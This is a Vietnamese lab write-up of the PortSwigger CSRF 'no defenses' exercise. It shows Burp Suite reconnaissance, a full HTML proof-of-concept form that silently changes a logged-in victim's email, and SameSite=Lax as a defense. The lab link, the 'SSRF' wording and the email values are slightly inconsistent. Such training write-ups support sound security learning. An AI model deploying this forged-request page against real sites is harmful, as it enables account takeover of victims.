---
# System prepended metadata

title: 'Lab: CSRF vulnerability with no defenses'

---

---
title: 'Lab: CSRF vulnerability with no defenses'
disqus: 'Aow_Phwc'
---

Lab: CSRF vulnerability with no defenses
===

Đề bài
---
Đây là bài Lab về lỗ hổng CSRF không có defenses: [Lab: CSRF vulnerability with no defenses](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
![image](https://hackmd.io/_uploads/B1SgoL4I6.png)











Reconnaisse
---
1, Mình đăng nhập với account của bài lab cho tài khoản là wiener và mật khẩu là peter.

2, Sau khi đăng nhập thì người ta cho chúng ta một trang để update email.
![image](https://hackmd.io/_uploads/BktY2wV86.png)

3, Mình dùng Burp Suite để xem request khi mình đổi email bất kì như thế nào. Có thể thấy nó gửi một cái POST đến `/my-account/change-email`
![image](https://hackmd.io/_uploads/ByZVavEUT.png)

4, Mình thấy được rằng lỗi SSRF có thể là nếu như mình tạo một trang và send cái POST tới địa chỉ `/my-account/change-email` với biến email mà mình đã tạo sẵn, sau đó gửi cái trang đó tới một người cũng đăng nhập sẵn thì họ sẽ bị đổi email của họ sang email của mình đã tạo, bởi vì họ đang trong phiên đăng nhập của họ nên session và thông tin sẽ của họ.









Attack
---
1. Dùng tính năng Poc của burp suite để tạo trang gửi request
![image](https://hackmd.io/_uploads/HkCi4uELT.png)

2. Gửi request với email bị đổi thành nphucbiCSRF@abc.com
![image](https://hackmd.io/_uploads/Hkz1LOVLp.png)

3. Giải thích về code 
```
<html>
  
  <body>
  <!-- history.pushState là phương thức để thao tác lịch sử của trình duyệt. Nó thay thế URL hiện tại bằng một URL mới (trong trường hợp này là /). Hành động này không kích hoạt tải lại trang nhưng thay đổi URL hiển thị trên thanh địa chỉ. -->
  <script>history.pushState('', '', '/')</script>
    <!-- 'action' là thuộc tính chỉ định URL mà dữ liệu biểu mẫu sẽ được gửi tới khi người dùng gửi biểu mẫu -->
    <form action="https://0a5900b904bb687980140d0700aa0063.web-security-academy.net/my-account/change-email" method="POST">
      <!-- 'hidden' là thuộc tính này sẽ ẩn và dòng dưới đây sẽ thực thi việc đổi email sang nphucbiCRF&#64;abc&#46;com -->
      <input type="hidden" name="email" value="nphucbiCRF&#64;abc&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

```

4. Sau khi nạn nhân bấm vào submit
![image](https://hackmd.io/_uploads/S1yoHOEU6.png)

5. Trang web của nạn nhân đã bị đổi email từ `nphuc@abc.com thành nphucbiCSRF@abc.com`
![image](https://hackmd.io/_uploads/HJdrLuNLp.png)


Post Attack
---

1. Xem các cách phòng thủ
2. Xem các cách bypass khác

# Cách phòng thủ CSRF phổ biến
1. Same Site
- Mình sẽ có 1 ví dụ đơn giản ở cho phần này
    - Đầu tiền mình đổi SamSite từ none thành Lax
    - ![image](https://hackmd.io/_uploads/H1r1p5NU6.png)
    - Giải thích qua thì khi chuyển Same Site thành Lax nó sẽ không cho POST đi qua
    - Khi mình làm lại các bước bên trên ví dụ như sau khi click lại nút này với Same site là Lax
    - ![image](https://hackmd.io/_uploads/Hk_5T9NLa.png)
- Thì trang web sẽ bắt chúng ta login lại vì chúng ta để phương thức ở đây là `POST` mà Same site là `Lax` thì không cho phép điều này.
    - ![image](https://hackmd.io/_uploads/r13ECqELp.png)
2. Còn một số phương pháp khác thì mình sẽ để link ở cuối 


# Link bài viết tham khảo về CSRF
[Hacktricks](https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery)
[PortSwigger](https://portswigger.net/web-security/csrf)


    








